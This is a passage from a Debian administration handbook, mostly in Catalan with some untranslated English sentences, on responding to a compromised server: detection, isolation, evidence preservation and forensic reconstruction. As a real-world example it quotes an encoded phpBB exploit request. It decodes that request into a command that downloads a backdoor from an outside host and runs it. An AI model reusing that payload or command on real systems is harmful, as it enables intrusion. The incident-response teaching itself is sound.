14.7. Tractament d'una màquina compromesa
Malgrat les millors intencions i malgrat dissenyar acuradament la política de seguretat, un administrador s'enfrontarà eventualment a un acte de “segrest”. Aquesta secció proporciona algunes directrius sobre com reaccionar davant aquestes circumstàncies desafortunades.
14.7.1. Detecció i visualització de la intrusió del «cracker»
El primer pas per a reaccionar davant les esquerdes és ser conscient d'aquest acte. Això no és evident, especialment sense una infraestructura de monitorització adequada.
Els actes d'intrusió sovint no es detecten fins que tenen conseqüències directes en els serveis legítims allotjats a la màquina, com ara connexions que s'alenteixen, alguns usuaris que no poden connectar-se, o qualsevol altre tipus de disfunció. Davant aquests problemes, l'administrador ha de tenir una bona visió de la màquina i examinar amb cura el que no rutlla. Aquest és normalment el moment en què es descobreix un procés inusual, per exemple, un d'anomenat apache en lloc de l'estàndard /usr/sbin/apache2. Si seguim aquest exemple, el que cal fer és observar el seu identificador de procés, i comprovar /proc/pid/exe per veure quin programa està executant realment aquest procés:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Un programa instal·lat sota /var/tmp/ i executant-se com a servidor web? No hi ha cap dubte que la màquina està compromesa.
Aquest és només un exemple, però molts altres suggeriments poden encendre la llumeta de l'administrador:
a command that suddenly shows errors like segmentation faults;
a program that utilizes all CPU cores or memory;
una opció d'una ordre que ja no funciona; la versió del programari que l'ordre diu que no coincideix amb la versió que se suposa que s'ha d'instal·lar segons dpkg;
un missatge d'intèrpret d'ordres o una salutació d'inici de sessió indicant que l'última connexió venia d'un servidor desconegut en un altre continent;
errors causats per la partició /tmp/ que va resultar estar plena de còpies il·legals de pel·lícules;
etc.
14.7.2. Desconnectar el servidor
Tret dels casos més exòtics, la intrusió prové de la xarxa, i l'atacant necessita una xarxa funcional per aconseguir els seus objectius (accés a dades confidencials, compartició d'arxius il·legals, amagar la identitat mitjançant l'ús de la màquina com a relé, etc.). Si encara no ho han aconseguit, desconnectar l'ordinador de la xarxa impedirà que l'atacant arribi a aquests objectius.
This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see
Secció 14.7.3, «Mantenir tot el que es pugui utilitzar com a evidència»,
Secció 14.7.5, «Anàlisi forense» and
Secció 14.7.6, «Reconstrucció de l'escenari d'atac»), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but
sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines. If possible, and if the provider supports it, the server can be put offline and accessed through the providers KVM/IPMI interface or their rescue console. If the affected machine is a virtual machine, a snapshot should be taken immediately to secure evidence.
14.7.3. Mantenir tot el que es pugui utilitzar com a evidència
Comprendre l'atac i/o emprendre accions legals contra els atacants requereix fer còpies de tots els elements importants; això inclou el contingut del disc dur, una llista de tots els processos en execució, i una llista de totes les connexions obertes. El contingut de la RAM també es podria utilitzar, però rarament s'utilitza en la pràctica.
En la intensitat del moment, els administradors sovint es veuen temptats de realitzar moltes comprovacions a la màquina compromesa; això normalment no és una bona idea. Tota ordre està potencialment subvertida i pot esborrar evidències. Les comprovacions s'han de restringir al conjunt mínim (netstat -tupan per a les connexions de xarxa,ps auxf per a una llista de processos,ls -alR /proc/[0-9]* per a una mica més d'informació sobre els programes en execució), i cada comprovació realitzada s'ha de documentar amb cura.
Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running sync) and reboot it on a rescue CD. Each partition should be copied with a tool such as dd; these images can be sent to another server (possibly with the very convenient nc tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled. Most server providers offer a so-called rescue-console that essentially provides the same functionality as a rescue CD.
El servidor no s'ha de tornar a posar en línia sense una reinstal·lació completa. Si el compromís era sever (si s'obtenien privilegis administratius), gairebé no hi ha una altra manera d'assegurar-se que ens desfem de tot el que l'atacant podia haver deixat (particularment «backdoors» o “portes del darrera, amagades”). Per descomptat, també han d'aplicar-se totes les últimes actualitzacions de seguretat per a tapar la vulnerabilitat utilitzada per l'atacant. Idealment, analitzar l'atac hauria d'apuntar al vector d'atac, de manera que es pot estar segur de solucionar-lo; en cas contrari, només es pot esperar que la vulnerabilitat fos una de les arreglades per les actualitzacions.
La reinstal·lació d'un servidor remot no sempre és fàcil; pot implicar l'assistència de l'empresa d'allotjament, perquè no totes aquestes empreses proporcionen sistemes de reinstal·lació automatitzada o consoles remotes (tot i que aquests casos haurien de ser pocs). S'ha de tenir cura de no tornar a instal·lar la màquina de còpies de seguretat preses posteriorment al compromís. Idealment, només s'han de restaurar les dades; el programari real s'ha de reinstal·lar des de mitjans d'instal·lació.
Ara que el servei ha estat restaurat, és hora de tenir una mirada més estreta a les imatges en disc del sistema compromès per tal d'entendre el vector d'atac. Quan es munten aquestes imatges, s'ha de tenir cura d'utilitzar les opcions ro,nodev,noexec,noatime per evitar canviar el contingut (incloent les marques horàries d'accés als fitxers) o executar per error programes compromesos.
Resseguir un escenari d'atac sol implicar buscar tot el que es va modificar i executar:
els fitxers .bash_history sovint proporcionen una lectura molt interessant;
com també ho és la llista dels fitxers que s'han creat, modificat o accedit recentment;
l'ordre strings ajuda a identificar programes instal·lats per l'atacant, mitjançant l'extracció de cadenes de text d'un binari;
els fitxers de registre de /var/log/ sovint permeten reconstruir una cronologia dels esdeveniments;
comparing the system to the last known uncompromised backup can quickly reveal the changes left by the attacker, e.g. files added, changed, or deleted;
Certes eines específiques també permeten restaurar el contingut de fitxers potencialment eliminats, incloent-hi fitxers de registre que els atacants sovint eliminen.
Algunes d'aquestes operacions es poden facilitar amb programari especialitzat. En particular, el paquet
sleuthkit proporciona moltes eines per analitzar un sistema de fitxers. El seu ús es fa més fàcil amb la interfície gràfica d'
Autopsy Forensic Browser (al paquet
autopsy). Algunes distribucions de Linux tenen una imatge d'instal·lació en viu («live install») i contenen molts programes per a l'anàlisi forense, com Kali Linux (vegeu
Secció A.8, «Kali Linux»), amb el seu
mode forense, BlackArchLinux, i el comercial Grml-Forensic, basat en Grml (vegeu
Secció A.6, «Grml»).
14.7.6. Reconstrucció de l'escenari d'atac
Tots els elements recollits durant l'anàlisi haurien d'ajustar-se com peces en un trencaclosques; la creació dels primers fitxers sospitosos sovint està correlacionada amb registres que demostren la ruptura. Un exemple en el món real hauria de ser més explícit que les llargues elucubracions teòriques.
El següent registre és un extracte d'un access.log d'Apache:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Aquest exemple coincideix amb l'explotació d'una antiga vulnerabilitat de seguretat a phpBB.
La descodificació d'aquest llarg URL porta a entendre que l'atacant va aconseguir executar algun codi PHP, és a dir: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). De fet, es va trobar un fitxer bd a /tmp/. Executant strings /mnt/tmp/bd retorna, entre altres cadenes, PsychoPhobia Backdoor is starting.... Això sembla realment una porta del darrere.
Un temps més tard, aquest accés es va utilitzar per descarregar, instal·lar i executar un bot d'IRC que connectava a una xarxa IRC clandestina. El bot es podia controlar a través d'aquest protocol i se li va donar instruccions per descarregar fitxers per compartir. Aquest programa fins i tot té el seu propi fitxer de registre:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Aquestes traces mostren que s'han emmagatzemat dos fitxers de vídeo al servidor a través de l'adreça IP 82.50.72.202.
En paral·lel, l'atacant també va descarregar un parell de fitxers addicionals, /tmp/pt i /tmp/loginx. Executant aquests fitxers a través de strings condueix a cadenes com Shellcode placed at 0x%08lx i Now wait for suid shell.... Aquests semblen programes que exploten vulnerabilitats locals per obtenir privilegis administratius. Aconseguiren el seu objectiu? En aquest cas, probablement no, ja que sembla que no s'ha modificat cap arxiu després de la intrusió inicial.
En aquest exemple s'ha reconstruït tota la intrusió, i es pot deduir que l'atacant ha estat capaç d'aprofitar el sistema compromès durant uns tres dies; però l'element més important en l'anàlisi és que la vulnerabilitat s'ha identificat, i l'administrador pot estar segur que la nova instal·lació realment soluciona la vulnerabilitat.
